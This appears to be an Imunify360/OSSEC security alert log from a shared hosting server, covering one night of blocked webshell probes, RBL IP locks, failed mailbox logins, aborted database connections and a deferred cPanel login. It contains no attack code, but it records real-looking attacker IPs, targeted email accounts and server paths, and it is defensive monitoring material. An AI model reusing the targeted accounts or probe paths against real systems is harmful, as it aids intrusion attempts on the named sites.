Jan 22 04:05:48 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.240.44.196 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/img/demos/img/img/new-development.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 04:06:30 H=([45.144.212.242]) [45.144.212.242]:49583 F=<no_reply@admin.com> rejected RCPT <sales@chs.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.240.44.196
country_id: 798544
description:
Jan 22 04:05:55 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.240.44.196 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/demos/contact-us.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.172.79.157
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=759894 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/demos/about.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.48.112.8
country_id: 1835841
description:
Jan 22 04:08:49 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.48.112.8 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.48.112.8
country_id: 1835841
description:
2026-01-22 04:08:51 dovecot_login authenticator failed for H=([14.48.112.8]) [14.48.112.8]:2312: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 04:08:31 H=([45.144.212.242]) [45.144.212.242]:59631 F=<no_reply@admin.com> rejected RCPT <info@pspoly.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.104.225.201
country_id: 6252001
description:
Jan 22 04:08:32 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.104.225.201 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.104.225.201
country_id: 6252001
description:
2026-01-22 04:08:34 dovecot_login authenticator failed for H=(syn-024-104-225-201.res.spectrum.com) [24.104.225.201]:35435: 535 Incorrect authentication data (set_id=bptioh@mckd.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/demos/img/news.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/demos/img/img/img/img/contact-us.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.67.3.242
country_id: 2542007
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/mockery/mockery/library/Mockery/Loader.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/news-n-events/img/img/img/demos/img/img/img/img/img/product.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 89.110.72.242
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:04-16.89.110.72.242||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 04:16:53 H=([45.144.212.242]) [45.144.212.242]:56742 F=<no_reply@admin.com> rejected RCPT <info@printspecsolution.com>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.172.75.31
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/portfolios/naluri-residence/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.44.4
country_id: 2395170
description:
Jan 22 04:17:31 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.44.4 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/demos/img/img/img/img/clientele.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.93
country_id: 3175395
description:
Jan 22 04:18:26 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.93 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.135.62.103
country_id: 1814991
description:
Jan 22 04:18:55 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.135.62.103 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.135.62.103
country_id: 1814991
description:
2026-01-22 04:18:57 dovecot_login authenticator failed for H=([36.135.62.103]) [36.135.62.103]:37308: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 46.251.137.208
country_id: 102358
domain: www.myfurnitureshop.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.myfurnitureshop.com.my/vono1.html HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.145.205.99
country_id: 3469034
description:
Jan 22 04:20:32 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.145.205.99 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/img/img/news.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 199.91.162.55
country_id: 3570311
description:
Jan 22 04:21:18 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 199.91.162.55 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.253.172.200
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=74631515983377 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/img/img/img/img/product.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 91.208.197.125
country_id: 617790
domain: aire-fresh.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/132.0.3834.110 Safari/537.36 WP.com mShots||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/img/img/about.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/contact-us.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.237.49.26
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=186475 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.6.250.243
country_id: 6252001
description:
Jan 22 04:27:37 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.6.250.243 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.6.250.243
country_id: 6252001
description:
2026-01-22 04:27:39 dovecot_login authenticator failed for H=(50-6-250-243.unifiedlayer.com) [50.6.250.243]:37120: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 04:27:54 H=([45.144.212.242]) [45.144.212.242]:60652 F=<no_reply@admin.com> rejected RCPT <info@sutsb.com.my>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.174.198.25
country_id: 3469034
description:
2026-01-22 04:29:33 dovecot_plain authenticator failed for H=(lpz76chbhnv47s7b05f70) [200.174.198.25]:47348: 535 Incorrect authentication data (set_id=joshuaooi@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/img/img/product.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/cdn-cgi/l/Survey_Meter_Calibration.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.174.198.25
country_id: 3469034
description:
Jan 22 04:29:31 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.174.198.25 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.216.21.128
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=97891514528038 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.155.73.235
country_id: 163843
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=51 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.96.195
country_id: 3469034
description:
Jan 22 04:39:49 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.96.195 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 04:39:06 H=([45.144.212.242]) [45.144.212.242]:61243 F=<no_reply@admin.com> rejected RCPT <enquiry@hmz.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.224.121.26
country_id: 3469034
description:
Jan 22 04:39:16 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.224.121.26 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/about-sinaran-utama-teknologi/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/contact.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/radioactive.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.96.195
country_id: 3469034
description:
Jan 22 04:39:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.96.195 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.56.49.75
country_id: 6251999
description:
2026-01-22 04:43:09 dovecot_plain authenticator failed for H=([10.6.157.214]) [212.56.49.75]:18854: 535 Incorrect authentication data (set_id=eeyh@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.56.49.75
country_id: 6251999
description:
2026-01-22 04:44:03 dovecot_plain authenticator failed for H=([10.6.157.214]) [212.56.49.75]:26855: 535 Incorrect authentication data (set_id=eeyh@tujusetia.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 39.36.237.250
country_id: 1168579
domain: aire-fresh.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:16285.aire-fresh.com||ServerName:aire-fresh.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:240a8e658f1c8c46be4453c753c451ed464a45ba||Title:0x74b063d1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 82.76.87.9
country_id: 798549
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/many/16/395/1690309 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.172.123.151
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=71 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.111.245.189
country_id: 1210997
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/hear/14/580/1466173 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 157.10.100.46
country_id: 1282988
description:
2026-01-22  4:53:18 509137 [Warning] Aborted connection 509137 to db: 'unconnected' user: 'unauthenticated' host: '157.10.100.46' (This connection closed normally without authentication)


plugin: ossec
rule: 50146
name: Multiple aborted logins to database.
abuser: 157.10.100.46
country_id: 1282988
description:
2026-01-22  4:53:20 509144 [Warning] Aborted connection 509144 to db: 'unconnected' user: 'unauthenticated' host: '157.10.100.46' (This connection closed normally without authentication)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 166.88.58.139
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:04-53.166.88.58.139||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.165.19.252
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=76831712173999 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 198.37.121.93
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:04-55.198.37.121.93||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/languages/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: ossec
rule: 50146
name: Multiple aborted logins to database.
abuser: 157.10.100.46
country_id: 1282988
description:
2026-01-22  4:58:23 509322 [Warning] Aborted connection 509322 to db: 'unconnected' user: 'unauthenticated' host: '157.10.100.46' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 157.10.100.46
country_id: 1282988
description:
2026-01-22  4:58:21 509315 [Warning] Aborted connection 509315 to db: 'unconnected' user: 'unauthenticated' host: '157.10.100.46' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.29.46
country_id: 798544
description:
Jan 22 05:01:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.29.46 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 202.181.16.202
country_id: 1210997
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=174516 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.190.183.52
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=442049 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.189
country_id: 3865483
description:
Jan 22 05:03:50 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.189 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/images/iso.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.189
country_id: 3865483
description:
Jan 22 05:03:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.189 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.42
country_id: 597427
description:
2026-01-22 05:06:19 dovecot_login authenticator failed for H=(ADMIN) [141.98.11.42]:53616: 535 Incorrect authentication data (set_id=mail@gagasanteguh.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.11.42
country_id: 597427
description:
Jan 22 05:06:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.11.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.42
country_id: 597427
description:
2026-01-22 05:07:53 dovecot_login authenticator failed for H=(ADMIN) [141.98.11.42]:18601: 535 Incorrect authentication data (set_id=mail@gagasanteguh.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.11.42
country_id: 597427
description:
Jan 22 05:07:51 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.11.42 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 122.165.41.227
country_id: 1269750
description:
[2026-01-22 05:08:46 +0800] info [whostmgrd] 122.165.41.227 - root "GET /cpsess7330001281/json-api/loadavg HTTP/1.1" DEFERRED LOGIN whostmgrd: cookie ip check: IP address has changed: IP Address [103.214.234.27] != Current IP Address [122.165.41.227]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.37.233.100
country_id: 3469034
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Penstock-Roller-Gate-Stoplog/M1253-TIMBER-STOPLOG.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.162.25.248
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Penstock-Roller-Gate-Stoplog/M1205-F3A-PENSTOCK.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.240.250.207
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Penstock-Roller-Gate-Stoplog/M1255-STOPLOG.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.18.41
country_id: 99237
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Penstock-Roller-Gate-Stoplog/M1257-COMPOSITE-STOPLOG.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.42
country_id: 597427
description:
2026-01-22 05:09:28 dovecot_login authenticator failed for H=(ADMIN) [141.98.11.42]:39034: 535 Incorrect authentication data (set_id=mail@gagasanteguh.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.25.113.112
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Penstock-Roller-Gate-Stoplog/M1205-F1A-PENSTOCK.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.235.209.27
country_id: 3469034
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Penstock-Roller-Gate-Stoplog/M1203-F1A-PENSTOCK.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.11.42
country_id: 597427
description:
Jan 22 05:09:26 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.11.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 98.193.112.85
country_id: 6252001
description:
Jan 22 05:09:26 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 98.193.112.85 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.193.112.85
country_id: 6252001
description:
2026-01-22 05:09:28 dovecot_plain authenticator failed for H=c-98-193-112-85.hsd1.il.comcast.net (unsly) [98.193.112.85]:52628: 535 Incorrect authentication data (set_id=bak@kendek.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.169.48.104
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Penstock-Roller-Gate-Stoplog/M1203-F2A-PENSTOCK.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.63.178.55
country_id: 3686110
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Penstock-Roller-Gate-Stoplog/M1255-RL-STOPLOG.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.0.32.196
country_id: 298795
description:
Jan 22 05:10:41 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.0.32.196 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 91.215.249.57
country_id: 690791
domain: www.solidfence.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.solidfence.com.my/product-posts/assets/img/product/MS Railing.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.104.98
country_id: 3469034
description:
Jan 22 05:10:20 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.104.98 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.11.42
country_id: 597427
description:
Jan 22 05:10:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.11.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.42
country_id: 597427
description:
2026-01-22 05:11:00 dovecot_login authenticator failed for H=(ADMIN) [141.98.11.42]:41987: 535 Incorrect authentication data (set_id=mail@gagasanteguh.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/demos/img/contact-us.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
